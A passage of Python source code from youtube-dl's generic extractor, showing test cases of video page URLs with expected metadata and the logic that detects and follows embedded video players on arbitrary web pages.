            'url': 'http://www.businessinsider.com/excel-index-match-vlookup-video-how-to-2015-2?IR=T',
            'info_dict': {
                'id': '50YnY4czr4ms1vJ7yz3xzq0excz_pUMs',
                'ext': 'mp4',
                'description': 'VIDEO: INDEX/MATCH versus VLOOKUP.',
                'title': 'This is what separates the Excel masters from the wannabes',
                'duration': 191.933,
            },
            'params': {
                # m3u8 downloads
                'skip_download': True,
            }
        },
        # Brightcove URL in single quotes
        {
            'url': 'http://www.sportsnet.ca/baseball/mlb/sn-presents-russell-martin-world-citizen/',
            'md5': '4ae374f1f8b91c889c4b9203c8c752af',
            'info_dict': {
                'id': '4255764656001',
                'ext': 'mp4',
                'title': 'SN Presents: Russell Martin, World Citizen',
                'description': 'To understand why he was the Toronto Blue Jays’ top off-season priority is to appreciate his background and upbringing in Montreal, where he first developed his baseball skills. Written and narrated by Stephen Brunt.',
                'uploader': 'Rogers Sportsnet',
                'uploader_id': '1704050871',
                'upload_date': '20150525',
                'timestamp': 1432570283,
            },
        },
        # Dailymotion Cloud video
        {
            'url': 'http://replay.publicsenat.fr/vod/le-debat/florent-kolandjian,dominique-cena,axel-decourtye,laurence-abeille,bruno-parmentier/175910',
            'md5': 'dcaf23ad0c67a256f4278bce6e0bae38',
            'info_dict': {
                'id': 'x2uy8t3',
                'ext': 'mp4',
                'title': 'Sauvons les abeilles ! - Le débat',
                'description': 'md5:d9082128b1c5277987825d684939ca26',
                'thumbnail': 're:^https?://.*\.jpe?g$',
                'timestamp': 1434970506,
                'upload_date': '20150622',
                'uploader': 'Public Sénat',
                'uploader_id': 'xa9gza',
            }
        },
        # OnionStudios embed
        {
            'url': 'http://www.clickhole.com/video/dont-understand-bitcoin-man-will-mumble-explanatio-2537',
            'info_dict': {
                'id': '2855',
                'ext': 'mp4',
                'title': 'Don’t Understand Bitcoin? This Man Will Mumble An Explanation At You',
                'thumbnail': 're:^https?://.*\.jpe?g$',
                'uploader': 'ClickHole',
                'uploader_id': 'clickhole',
            }
        },
        # SnagFilms embed
        {
            'url': 'http://whilewewatch.blogspot.ru/2012/06/whilewewatch-whilewewatch-gripping.html',
            'info_dict': {
                'id': '74849a00-85a9-11e1-9660-123139220831',
                'ext': 'mp4',
                'title': '#whilewewatch',
            }
        },
        # AdobeTVVideo embed
        {
            'url': 'https://helpx.adobe.com/acrobat/how-to/new-experience-acrobat-dc.html?set=acrobat--get-started--essential-beginners',
            'md5': '43662b577c018ad707a63766462b1e87',
            'info_dict': {
                'id': '2456',
                'ext': 'mp4',
                'title': 'New experience with Acrobat DC',
                'description': 'New experience with Acrobat DC',
                'duration': 248.667,
            },
        },
        # ScreenwaveMedia embed
        {
            'url': 'http://www.thecinemasnob.com/the-cinema-snob/a-nightmare-on-elm-street-2-freddys-revenge1',
            'md5': '24ace5baba0d35d55c6810b51f34e9e0',
            'info_dict': {
                'id': 'cinemasnob-55d26273809dd',
                'ext': 'mp4',
                'title': 'cinemasnob',
            },
        },
        # BrightcoveInPageEmbed embed
        {
            'url': 'http://www.geekandsundry.com/tabletop-bonus-wils-final-thoughts-on-dread/',
            'info_dict': {
                'id': '4238694884001',
                'ext': 'flv',
                'title': 'Tabletop: Dread, Last Thoughts',
                'description': 'Tabletop: Dread, Last Thoughts',
                'duration': 51690,
            },
        },
        # JWPlayer with M3U8
        {
            'url': 'http://ren.tv/novosti/2015-09-25/sluchaynyy-prohozhiy-poymal-avtougonshchika-v-murmanske-video',
            'info_dict': {
                'id': 'playlist',
                'ext': 'mp4',
                'title': 'Случайный прохожий поймал автоугонщика в Мурманске. ВИДЕО | РЕН ТВ',
                'uploader': 'ren.tv',
            },
            'params': {
                # m3u8 downloads
                'skip_download': True,
            }
        },
        # Brightcove embed, with no valid 'renditions' but valid 'IOSRenditions'
        # This video can't be played in browsers if Flash disabled and UA set to iPhone, which is actually a false alarm
        {
            'url': 'https://dl.dropboxusercontent.com/u/29092637/interview.html',
            'info_dict': {
                'id': '4785848093001',
                'ext': 'mp4',
                'title': 'The Cardinal Pell Interview',
                'description': 'Sky News Contributor Andrew Bolt interviews George Pell in Rome, following the Cardinal\'s evidence before the Royal Commission into Child Abuse. ',
                'uploader': 'GlobeCast Australia - GlobeStream',
                'uploader_id': '2733773828001',
                'upload_date': '20160304',
                'timestamp': 1457083087,
            },
            'params': {
                # m3u8 downloads
                'skip_download': True,
            },
        },
        # Another form of arte.tv embed
        {
            'url': 'http://www.tv-replay.fr/redirection/09-04-16/arte-reportage-arte-11508975.html',
            'md5': '850bfe45417ddf221288c88a0cffe2e2',
            'info_dict': {
                'id': '030273-562_PLUS7-F',
                'ext': 'mp4',
                'title': 'ARTE Reportage - Nulle part, en France',
                'description': 'md5:e3a0e8868ed7303ed509b9e3af2b870d',
                'upload_date': '20160409',
            },
        },
        # LiveLeak embed
        {
            'url': 'http://www.wykop.pl/link/3088787/',
            'md5': 'ace83b9ed19b21f68e1b50e844fdf95d',
            'info_dict': {
                'id': '874_1459135191',
                'ext': 'mp4',
                'title': 'Man shows poor quality of new apartment building',
                'description': 'The wall is like a sand pile.',
                'uploader': 'Lake8737',
            }
        },
        # Duplicated embedded video URLs
        {
            'url': 'http://www.hudl.com/athlete/2538180/highlights/149298443',
            'info_dict': {
                'id': '149298443_480_16c25b74_2',
                'ext': 'mp4',
                'title': 'vs. Blue Orange Spring Game',
                'uploader': 'www.hudl.com',
            },
        },
        # twitter:player:stream embed
        {
            'url': 'http://www.rtl.be/info/video/589263.aspx?CategoryID=288',
            'info_dict': {
                'id': 'master',
                'ext': 'mp4',
                'title': 'Une nouvelle espèce de dinosaure découverte en Argentine',
                'uploader': 'www.rtl.be',
            },
            'params': {
                # m3u8 downloads
                'skip_download': True,
            },
        },
        # twitter:player embed
        {
            'url': 'http://www.theatlantic.com/video/index/484130/what-do-black-holes-sound-like/',
            'md5': 'a3e0df96369831de324f0778e126653c',
            'info_dict': {
                'id': '4909620399001',
                'ext': 'mp4',
                'title': 'What Do Black Holes Sound Like?',
                'description': 'what do black holes sound like',
                'upload_date': '20160524',
                'uploader_id': '29913724001',
                'timestamp': 1464107587,
                'uploader': 'TheAtlantic',
            },
            'add_ie': ['BrightcoveLegacy'],
        },
        # Facebook <iframe> embed
        {
            'url': 'https://www.hostblogger.de/blog/archives/6181-Auto-jagt-Betonmischer.html',
            'md5': 'fbcde74f534176ecb015849146dd3aee',
            'info_dict': {
                'id': '599637780109885',
                'ext': 'mp4',
                'title': 'Facebook video #599637780109885',
            },
        },
        # Facebook API embed
        {
            'url': 'http://www.lothype.com/blue-stars-2016-preview-standstill-full-show/',
            'md5': 'a47372ee61b39a7b90287094d447d94e',
            'info_dict': {
                'id': '10153467542406923',
                'ext': 'mp4',
                'title': 'Facebook video #10153467542406923',
            },
        },
        # Wordpress "YouTube Video Importer" plugin
        {
            'url': 'http://www.lothype.com/blue-devils-drumline-stanford-lot-2016/',
            'md5': 'd16797741b560b485194eddda8121b48',
            'info_dict': {
                'id': 'HNTXWDXV9Is',
                'ext': 'mp4',
                'title': 'Blue Devils Drumline Stanford lot 2016',
                'upload_date': '20160627',
                'uploader_id': 'GENOCIDE8GENERAL10',
                'uploader': 'cylus cyrus',
            },
        },
        {
            # video stored on custom kaltura server
            'url': 'http://www.expansion.com/multimedia/videos.html?media=EQcM30NHIPv',
            'md5': '537617d06e64dfed891fa1593c4b30cc',
            'info_dict': {
                'id': '0_1iotm5bh',
                'ext': 'mp4',
                'title': 'Elecciones británicas: 5 lecciones para Rajoy',
                'description': 'md5:435a89d68b9760b92ce67ed227055f16',
                'uploader_id': 'videos.expansion@el-mundo.net',
                'upload_date': '20150429',
                'timestamp': 1430303472,
            },
            'add_ie': ['Kaltura'],
        },
        {
            # Non-standard Vimeo embed
            'url': 'https://openclassrooms.com/courses/understanding-the-web',
            'md5': '64d86f1c7d369afd9a78b38cbb88d80a',
            'info_dict': {
                'id': '148867247',
                'ext': 'mp4',
                'title': 'Understanding the web - Teaser',
                'description': 'This is "Understanding the web - Teaser" by openclassrooms on Vimeo, the home for high quality videos and the people who love them.',
                'upload_date': '20151214',
                'uploader': 'OpenClassrooms',
                'uploader_id': 'openclassrooms',
            },
            'add_ie': ['Vimeo'],
        },
        {
            'url': 'https://support.arkena.com/display/PLAY/Ways+to+embed+your+video',
            'md5': 'b96f2f71b359a8ecd05ce4e1daa72365',
            'info_dict': {
                'id': 'b41dda37-d8e7-4d3f-b1b5-9a9db578bdfe',
                'ext': 'mp4',
                'title': 'Big Buck Bunny',
                'description': 'Royalty free test video',
                'timestamp': 1432816365,
                'upload_date': '20150528',
                'is_live': False,
            },
            'params': {
                'skip_download': True,
            },
            'add_ie': [ArkenaIE.ie_key()],
        },
        {
            'url': 'http://nova.bg/news/view/2016/08/16/156543/%D0%BD%D0%B0-%D0%BA%D0%BE%D1%81%D1%8A%D0%BC-%D0%BE%D1%82-%D0%B2%D0%B7%D1%80%D0%B8%D0%B2-%D0%BE%D1%82%D1%86%D0%B5%D0%BF%D0%B8%D1%85%D0%B0-%D1%86%D1%8F%D0%BB-%D0%BA%D0%B2%D0%B0%D1%80%D1%82%D0%B0%D0%BB-%D0%B7%D0%B0%D1%80%D0%B0%D0%B4%D0%B8-%D0%B8%D0%B7%D1%82%D0%B8%D1%87%D0%B0%D0%BD%D0%B5-%D0%BD%D0%B0-%D0%B3%D0%B0%D0%B7-%D0%B2-%D0%BF%D0%BB%D0%BE%D0%B2%D0%B4%D0%B8%D0%B2/',
            'info_dict': {
                'id': '1c7141f46c',
                'ext': 'mp4',
                'title': 'НА КОСЪМ ОТ ВЗРИВ: Изтичане на газ на бензиностанция в Пловдив',
            },
            'params': {
                'skip_download': True,
            },
            'add_ie': [Vbox7IE.ie_key()],
        },
        {
            # DBTV embeds
            'url': 'http://www.dagbladet.no/2016/02/23/nyheter/nordlys/ski/troms/ver/43254897/',
            'info_dict': {
                'id': '43254897',
                'title': 'Etter ett års planlegging, klaffet endelig alt: - Jeg måtte ta en liten dans',
            },
            'playlist_mincount': 3,
        },
        # {
        #     # TODO: find another test
        #     # http://schema.org/VideoObject
        #     'url': 'https://flipagram.com/f/nyvTSJMKId',
        #     'md5': '888dcf08b7ea671381f00fab74692755',
        #     'info_dict': {
        #         'id': 'nyvTSJMKId',
        #         'ext': 'mp4',
        #         'title': 'Flipagram by sjuria101 featuring Midnight Memories by One Direction',
        #         'description': '#love for cats.',
        #         'timestamp': 1461244995,
        #         'upload_date': '20160421',
        #     },
        #     'params': {
        #         'force_generic_extractor': True,
        #     },
        # }
    ]

    def report_following_redirect(self, new_url):
        """Report information extraction."""
        self._downloader.to_screen('[redirect] Following redirect to %s' % new_url)

    def _extract_rss(self, url, video_id, doc):
        playlist_title = doc.find('./channel/title').text
        playlist_desc_el = doc.find('./channel/description')
        playlist_desc = None if playlist_desc_el is None else playlist_desc_el.text

        entries = []
        for it in doc.findall('./channel/item'):
            next_url = xpath_text(it, 'link', fatal=False)
            if not next_url:
                enclosure_nodes = it.findall('./enclosure')
                for e in enclosure_nodes:
                    next_url = e.attrib.get('url')
                    if next_url:
                        break

            if not next_url:
                continue

            entries.append({
                '_type': 'url',
                'url': next_url,
                'title': it.find('title').text,
            })

        return {
            '_type': 'playlist',
            'id': url,
            'title': playlist_title,
            'description': playlist_desc,
            'entries': entries,
        }

    def _extract_camtasia(self, url, video_id, webpage):
        """ Returns None if no camtasia video can be found. """

        camtasia_cfg = self._search_regex(
            r'fo\.addVariable\(\s*"csConfigFile",\s*"([^"]+)"\s*\);',
            webpage, 'camtasia configuration file', default=None)
        if camtasia_cfg is None:
            return None

        title = self._html_search_meta('DC.title', webpage, fatal=True)

        camtasia_url = compat_urlparse.urljoin(url, camtasia_cfg)
        camtasia_cfg = self._download_xml(
            camtasia_url, video_id,
            note='Downloading camtasia configuration',
            errnote='Failed to download camtasia configuration')
        fileset_node = camtasia_cfg.find('./playlist/array/fileset')

        entries = []
        for n in fileset_node.getchildren():
            url_n = n.find('./uri')
            if url_n is None:
                continue

            entries.append({
                'id': os.path.splitext(url_n.text.rpartition('/')[2])[0],
                'title': '%s - %s' % (title, n.tag),
                'url': compat_urlparse.urljoin(url, url_n.text),
                'duration': float_or_none(n.find('./duration').text),
            })

        return {
            '_type': 'playlist',
            'entries': entries,
            'title': title,
        }

    def _real_extract(self, url):
        if url.startswith('//'):
            return {
                '_type': 'url',
                'url': self.http_scheme() + url,
            }

        parsed_url = compat_urlparse.urlparse(url)
        if not parsed_url.scheme:
            default_search = self._downloader.params.get('default_search')
            if default_search is None:
                default_search = 'fixup_error'

            if default_search in ('auto', 'auto_warning', 'fixup_error'):
                if '/' in url:
                    self._downloader.report_warning('The url doesn\'t specify the protocol, trying with http')
                    return self.url_result('http://' + url)
                elif default_search != 'fixup_error':
                    if default_search == 'auto_warning':
                        if re.match(r'^(?:url|URL)$', url):
                            raise ExtractorError(
                                'Invalid URL:  %r . Call youtube-dl like this:  youtube-dl -v "https://www.youtube.com/watch?v=BaW_jenozKc"  ' % url,
                                expected=True)
                        else:
                            self._downloader.report_warning(
                                'Falling back to youtube search for  %s . Set --default-search "auto" to suppress this warning.' % url)
                    return self.url_result('ytsearch:' + url)

            if default_search in ('error', 'fixup_error'):
                raise ExtractorError(
                    '%r is not a valid URL. '
                    'Set --default-search "ytsearch" (or run  youtube-dl "ytsearch:%s" ) to search YouTube'
                    % (url, url), expected=True)
            else:
                if ':' not in default_search:
                    default_search += ':'
                return self.url_result(default_search + url)

        url, smuggled_data = unsmuggle_url(url)
        force_videoid = None
        is_intentional = smuggled_data and smuggled_data.get('to_generic')
        if smuggled_data and 'force_videoid' in smuggled_data:
            force_videoid = smuggled_data['force_videoid']
            video_id = force_videoid
        else:
            video_id = compat_urllib_parse_unquote(os.path.splitext(url.rstrip('/').split('/')[-1])[0])

        self.to_screen('%s: Requesting header' % video_id)

        head_req = HEADRequest(url)
        head_response = self._request_webpage(
            head_req, video_id,
            note=False, errnote='Could not send HEAD request to %s' % url,
            fatal=False)

        if head_response is not False:
            # Check for redirect
            new_url = head_response.geturl()
            if url != new_url:
                self.report_following_redirect(new_url)
                if force_videoid:
                    new_url = smuggle_url(
                        new_url, {'force_videoid': force_videoid})
                return self.url_result(new_url)

        full_response = None
        if head_response is False:
            request = sanitized_Request(url)
            request.add_header('Accept-Encoding', '*')
            full_response = self._request_webpage(request, video_id)
            head_response = full_response

        info_dict = {
            'id': video_id,
            'title': compat_urllib_parse_unquote(os.path.splitext(url_basename(url))[0]),
            'upload_date': unified_strdate(head_response.headers.get('Last-Modified'))
        }

        # Check for direct link to a video
        content_type = head_response.headers.get('Content-Type', '').lower()
        m = re.match(r'^(?P<type>audio|video|application(?=/(?:ogg$|(?:vnd\.apple\.|x-)?mpegurl)))/(?P<format_id>[^;\s]+)', content_type)
        if m:
            format_id = m.group('format_id')
            if format_id.endswith('mpegurl'):
                formats = self._extract_m3u8_formats(url, video_id, 'mp4')
            elif format_id == 'f4m':
                formats = self._extract_f4m_formats(url, video_id)
            else:
                formats = [{
                    'format_id': m.group('format_id'),
                    'url': url,
                    'vcodec': 'none' if m.group('type') == 'audio' else None
                }]
                info_dict['direct'] = True
            self._sort_formats(formats)
            info_dict['formats'] = formats
            return info_dict

        if not self._downloader.params.get('test', False) and not is_intentional:
            force = self._downloader.params.get('force_generic_extractor', False)
            self._downloader.report_warning(
                '%s on generic information extractor.' % ('Forcing' if force else 'Falling back'))

        if not full_response:
            request = sanitized_Request(url)
            # Some webservers may serve compressed content of rather big size (e.g. gzipped flac)
            # making it impossible to download only chunk of the file (yet we need only 512kB to
            # test whether it's HTML or not). According to youtube-dl default Accept-Encoding
            # that will always result in downloading the whole file that is not desirable.
            # Therefore for extraction pass we have to override Accept-Encoding to any in order
            # to accept raw bytes and being able to download only a chunk.
            # It may probably better to solve this by checking Content-Type for application/octet-stream
            # after HEAD request finishes, but not sure if we can rely on this.
            request.add_header('Accept-Encoding', '*')
            full_response = self._request_webpage(request, video_id)

        first_bytes = full_response.read(512)

        # Is it an M3U playlist?
        if first_bytes.startswith(b'#EXTM3U'):
            info_dict['formats'] = self._extract_m3u8_formats(url, video_id, 'mp4')
            self._sort_formats(info_dict['formats'])
            return info_dict

        # Maybe it's a direct link to a video?
        # Be careful not to download the whole thing!
        if not is_html(first_bytes):
            self._downloader.report_warning(
                'URL could be a direct video link, returning it as such.')
            info_dict.update({
                'direct': True,
                'url': url,
            })
            return info_dict

        webpage = self._webpage_read_content(
            full_response, url, video_id, prefix=first_bytes)

        self.report_extraction(video_id)

        # Is it an RSS feed, a SMIL file, an XSPF playlist or a MPD manifest?
        try:
            doc = compat_etree_fromstring(webpage.encode('utf-8'))
            if doc.tag == 'rss':
                return self._extract_rss(url, video_id, doc)
            elif re.match(r'^(?:{[^}]+})?smil$', doc.tag):
                smil = self._parse_smil(doc, url, video_id)
                self._sort_formats(smil['formats'])
                return smil
            elif doc.tag == '{http://xspf.org/ns/0/}playlist':
                return self.playlist_result(self._parse_xspf(doc, video_id), video_id)
            elif re.match(r'(?i)^(?:{[^}]+})?MPD$', doc.tag):
                info_dict['formats'] = self._parse_mpd_formats(
                    doc, video_id, mpd_base_url=url.rpartition('/')[0])
                self._sort_formats(info_dict['formats'])
                return info_dict
            elif re.match(r'^{http://ns\.adobe\.com/f4m/[12]\.0}manifest$', doc.tag):
                info_dict['formats'] = self._parse_f4m_formats(doc, url, video_id)
                self._sort_formats(info_dict['formats'])
                return info_dict
        except compat_xml_parse_error:
            pass

        # Is it a Camtasia project?
        camtasia_res = self._extract_camtasia(url, video_id, webpage)
        if camtasia_res is not None:
            return camtasia_res

        # Sometimes embedded video player is hidden behind percent encoding
        # (e.g. https://github.com/rg3/youtube-dl/issues/2448)
        # Unescaping the whole page allows to handle those cases in a generic way
        webpage = compat_urllib_parse_unquote(webpage)

        # it's tempting to parse this further, but you would
        # have to take into account all the variations like
        #   Video Title - Site Name
        #   Site Name | Video Title
        #   Video Title - Tagline | Site Name
        # and so on and so forth; it's just not practical
        video_title = self._og_search_title(
            webpage, default=None) or self._html_search_regex(
            r'(?s)<title>(.*?)</title>', webpage, 'video title',
            default='video')

        # Try to detect age limit automatically
        age_limit = self._rta_search(webpage)
        # And then there are the jokers who advertise that they use RTA,
        # but actually don't.
        AGE_LIMIT_MARKERS = [
            r'Proudly Labeled <a href="http://www.rtalabel.org/" title="Restricted to Adults">RTA</a>',
        ]
        if any(re.search(marker, webpage) for marker in AGE_LIMIT_MARKERS):
            age_limit = 18

        # video uploader is domain name
        video_uploader = self._search_regex(
            r'^(?:https?://)?([^/]*)/.*', url, 'video uploader')

        video_description = self._og_search_description(webpage, default=None)
        video_thumbnail = self._og_search_thumbnail(webpage, default=None)

        # Helper method
        def _playlist_from_matches(matches, getter=None, ie=None):
            urlrs = orderedSet(
                self.url_result(self._proto_relative_url(getter(m) if getter else m), ie)
                for m in matches)
            return self.playlist_result(
                urlrs, playlist_id=video_id, playlist_title=video_title)

        # Look for Brightcove Legacy Studio embeds
        bc_urls = BrightcoveLegacyIE._extract_brightcove_urls(webpage)
        if bc_urls:
            self.to_screen('Brightcove video detected.')
            entries = [{
                '_type': 'url',
                'url': smuggle_url(bc_url, {'Referer': url}),
                'ie_key': 'BrightcoveLegacy'
            } for bc_url in bc_urls]

            return {
                '_type': 'playlist',
                'title': video_title,
                'id': video_id,
                'entries': entries,
            }

        # Look for Brightcove New Studio embeds
        bc_urls = BrightcoveNewIE._extract_urls(webpage)
        if bc_urls:
            return _playlist_from_matches(bc_urls, ie='BrightcoveNew')

        # Look for ThePlatform embeds
        tp_urls = ThePlatformIE._extract_urls(webpage)
        if tp_urls:
            return _playlist_from_matches(tp_urls, ie='ThePlatform')

        # Look for Vessel embeds
        vessel_urls = VesselIE._extract_urls(webpage)
        if vessel_urls:
            return _playlist_from_matches(vessel_urls, ie=VesselIE.ie_key())

        # Look for embedded rtl.nl player
        matches = re.findall(
            r'<iframe[^>]+?src="((?:https?:)?//(?:www\.)?rtl\.nl/system/videoplayer/[^"]+(?:video_)?embed[^"]+)"',
            webpage)
        if matches:
            return _playlist_from_matches(matches, ie='RtlNl')

        vimeo_url = VimeoIE._extract_vimeo_url(url, webpage)
        if vimeo_url is not None:
            return self.url_result(vimeo_url)

        vid_me_embed_url = self._search_regex(
            r'src=[\'"](https?://vid\.me/[^\'"]+)[\'"]',
            webpage, 'vid.me embed', default=None)
        if vid_me_embed_url is not None:
            return self.url_result(vid_me_embed_url, 'Vidme')

        # Look for embedded YouTube player
        matches = re.findall(r'''(?x)
            (?:
                <iframe[^>]+?src=|
                data-video-url=|
                <embed[^>]+?src=|
                embedSWF\(?:\s*|
                new\s+SWFObject\(
            )
            (["\'])
                (?P<url>(?:https?:)?//(?:www\.)?youtube(?:-nocookie)?\.com/
                (?:embed|v|p)/.+?)
            \1''', webpage)
        if matches:
            return _playlist_from_matches(
                matches, lambda m: unescapeHTML(m[1]))

        # Look for lazyYT YouTube embed
        matches = re.findall(
            r'class="lazyYT" data-youtube-id="([^"]+)"', webpage)
        if matches:
            return _playlist_from_matches(matches, lambda m: unescapeHTML(m))

        # Look for Wordpress "YouTube Video Importer" plugin
        matches = re.findall(r'''(?x)<div[^>]+
            class=(?P<q1>[\'"])[^\'"]*\byvii_single_video_player\b[^\'"]*(?P=q1)[^>]+
            data-video_id=(?P<q2>[\'"])([^\'"]+)(?P=q2)''', webpage)
        if matches:
            return _playlist_from_matches(matches, lambda m: m[-1])

        matches = DailymotionIE._extract_urls(webpage)
        if matches:
            return _playlist_from_matches(matches)

        # Look for embedded Dailymotion playlist player (#3822)
        m = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//(?:www\.)?dailymotion\.[a-z]{2,3}/widget/jukebox\?.+?)\1', webpage)
        if m:
            playlists = re.findall(
                r'list\[\]=/playlist/([^/]+)/', unescapeHTML(m.group('url')))
            if playlists:
                return _playlist_from_matches(
                    playlists, lambda p: '//dailymotion.com/playlist/%s' % p)

        # Look for embedded Wistia player
        match = re.search(
            r'<(?:meta[^>]+?content|iframe[^>]+?src)=(["\'])(?P<url>(?:https?:)?//(?:fast\.)?wistia\.net/embed/iframe/.+?)\1', webpage)
        if match:
            embed_url = self._proto_relative_url(
                unescapeHTML(match.group('url')))
            return {
                '_type': 'url_transparent',
                'url': embed_url,
                'ie_key': 'Wistia',
                'uploader': video_uploader,
            }

        match = re.search(r'(?:id=["\']wistia_|data-wistia-?id=["\']|Wistia\.embed\(["\'])(?P<id>[^"\']+)', webpage)
        if match:
            return {
                '_type': 'url_transparent',
                'url': 'wistia:%s' % match.group('id'),
                'ie_key': 'Wistia',
                'uploader': video_uploader,
            }

        match = re.search(
            r'''(?sx)
                <script[^>]+src=(["'])(?:https?:)?//fast\.wistia\.com/assets/external/E-v1\.js\1[^>]*>.*?
                <div[^>]+class=(["']).*?\bwistia_async_(?P<id>[a-z0-9]+)\b.*?\2
            ''', webpage)
        if match:
            return self.url_result(self._proto_relative_url(
                'wistia:%s' % match.group('id')), 'Wistia')

        # Look for SVT player
        svt_url = SVTIE._extract_url(webpage)
        if svt_url:
            return self.url_result(svt_url, 'SVT')

        # Look for embedded condenast player
        matches = re.findall(
            r'<iframe\s+(?:[a-zA-Z-]+="[^"]+"\s+)*?src="(https?://player\.cnevids\.com/embed/[^"]+")',
            webpage)
        if matches:
            return {
                '_type': 'playlist',
                'entries': [{
                    '_type': 'url',
                    'ie_key': 'CondeNast',
                    'url': ma,
                } for ma in matches],
                'title': video_title,
                'id': video_id,
            }

        # Look for Bandcamp pages with custom domain
        mobj = re.search(r'<meta property="og:url"[^>]*?content="(.*?bandcamp\.com.*?)"', webpage)
        if mobj is not None:
            burl = unescapeHTML(mobj.group(1))
            # Don't set the extractor because it can be a track url or an album
            return self.url_result(burl)

        # Look for embedded Vevo player
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//(?:cache\.)?vevo\.com/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for embedded Viddler player
        mobj = re.search(
            r'<(?:iframe[^>]+?src|param[^>]+?value)=(["\'])(?P<url>(?:https?:)?//(?:www\.)?viddler\.com/(?:embed|player)/.+?)\1',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for NYTimes player
        mobj = re.search(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?:)?//graphics8\.nytimes\.com/bcvideo/[^/]+/iframe/embed\.html.+?)\1>',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for Libsyn player
        mobj = re.search(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?:)?//html5-player\.libsyn\.com/embed/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for Ooyala videos
        mobj = (re.search(r'player\.ooyala\.com/[^"?]+[?#][^"]*?(?:embedCode|ec)=(?P<ec>[^"&]+)', webpage) or
                re.search(r'OO\.Player\.create\([\'"].*?[\'"],\s*[\'"](?P<ec>.{32})[\'"]', webpage) or
                re.search(r'SBN\.VideoLinkset\.ooyala\([\'"](?P<ec>.{32})[\'"]\)', webpage) or
                re.search(r'data-ooyala-video-id\s*=\s*[\'"](?P<ec>.{32})[\'"]', webpage))
        if mobj is not None:
            return OoyalaIE._build_url_result(smuggle_url(mobj.group('ec'), {'domain': url}))

        # Look for multiple Ooyala embeds on SBN network websites
        mobj = re.search(r'SBN\.VideoLinkset\.entryGroup\((\[.*?\])', webpage)
        if mobj is not None:
            embeds = self._parse_json(mobj.group(1), video_id, fatal=False)
            if embeds:
                return _playlist_from_matches(
                    embeds, getter=lambda v: OoyalaIE._url_for_embed_code(smuggle_url(v['provider_video_id'], {'domain': url})), ie='Ooyala')

        # Look for Aparat videos
        mobj = re.search(r'<iframe .*?src="(http://www\.aparat\.com/video/[^"]+)"', webpage)
        if mobj is not None:
            return self.url_result(mobj.group(1), 'Aparat')

        # Look for MPORA videos
        mobj = re.search(r'<iframe .*?src="(http://mpora\.(?:com|de)/videos/[^"]+)"', webpage)
        if mobj is not None:
            return self.url_result(mobj.group(1), 'Mpora')

        # Look for embedded NovaMov-based player
        mobj = re.search(
            r'''(?x)<(?:pagespeed_)?iframe[^>]+?src=(["\'])
                    (?P<url>http://(?:(?:embed|www)\.)?
                        (?:novamov\.com|
                           nowvideo\.(?:ch|sx|eu|at|ag|co)|
                           videoweed\.(?:es|com)|
                           movshare\.(?:net|sx|ag)|
                           divxstage\.(?:eu|net|ch|co|at|ag))
                        /embed\.php.+?)\1''', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for embedded Facebook player
        facebook_url = FacebookIE._extract_url(webpage)
        if facebook_url is not None:
            return self.url_result(facebook_url, 'Facebook')

        # Look for embedded VK player
        mobj = re.search(r'<iframe[^>]+?src=(["\'])(?P<url>https?://vk\.com/video_ext\.php.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'VK')

        # Look for embedded Odnoklassniki player
        mobj = re.search(r'<iframe[^>]+?src=(["\'])(?P<url>https?://(?:odnoklassniki|ok)\.ru/videoembed/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Odnoklassniki')

        # Look for embedded ivi player
        mobj = re.search(r'<embed[^>]+?src=(["\'])(?P<url>https?://(?:www\.)?ivi\.ru/video/player.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Ivi')

        # Look for embedded Huffington Post player
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>https?://embed\.live\.huffingtonpost\.com/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'HuffPost')

        # Look for embed.ly
        mobj = re.search(r'class=["\']embedly-card["\'][^>]href=["\'](?P<url>[^"\']+)', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))
        mobj = re.search(r'class=["\']embedly-embed["\'][^>]src=["\'][^"\']*url=(?P<url>[^&]+)', webpage)
        if mobj is not None:
            return self.url_result(compat_urllib_parse_unquote(mobj.group('url')))

        # Look for funnyordie embed
        matches = re.findall(r'<iframe[^>]+?src="(https?://(?:www\.)?funnyordie\.com/embed/[^"]+)"', webpage)
        if matches:
            return _playlist_from_matches(
                matches, getter=unescapeHTML, ie='FunnyOrDie')

        # Look for BBC iPlayer embed
        matches = re.findall(r'setPlaylist\("(https?://www\.bbc\.co\.uk/iplayer/[^/]+/[\da-z]{8})"\)', webpage)
        if matches:
            return _playlist_from_matches(matches, ie='BBCCoUk')

        # Look for embedded RUTV player
        rutv_url = RUTVIE._extract_url(webpage)
        if rutv_url:
            return self.url_result(rutv_url, 'RUTV')

        # Look for embedded TVC player
        tvc_url = TVCIE._extract_url(webpage)
        if tvc_url:
            return self.url_result(tvc_url, 'TVC')

        # Look for embedded SportBox player
        sportbox_urls = SportBoxEmbedIE._extract_urls(webpage)
        if sportbox_urls:
            return _playlist_from_matches(sportbox_urls, ie='SportBoxEmbed')

        # Look for embedded PornHub player
        pornhub_url = PornHubIE._extract_url(webpage)
        if pornhub_url:
            return self.url_result(pornhub_url, 'PornHub')

        # Look for embedded XHamster player
        xhamster_urls = XHamsterEmbedIE._extract_urls(webpage)
        if xhamster_urls:
            return _playlist_from_matches(xhamster_urls, ie='XHamsterEmbed')

        # Look for embedded TNAFlixNetwork player
        tnaflix_urls = TNAFlixNetworkEmbedIE._extract_urls(webpage)
        if tnaflix_urls:
            return _playlist_from_matches(tnaflix_urls, ie=TNAFlixNetworkEmbedIE.ie_key())

        # Look for embedded Tvigle player
        mobj = re.search(
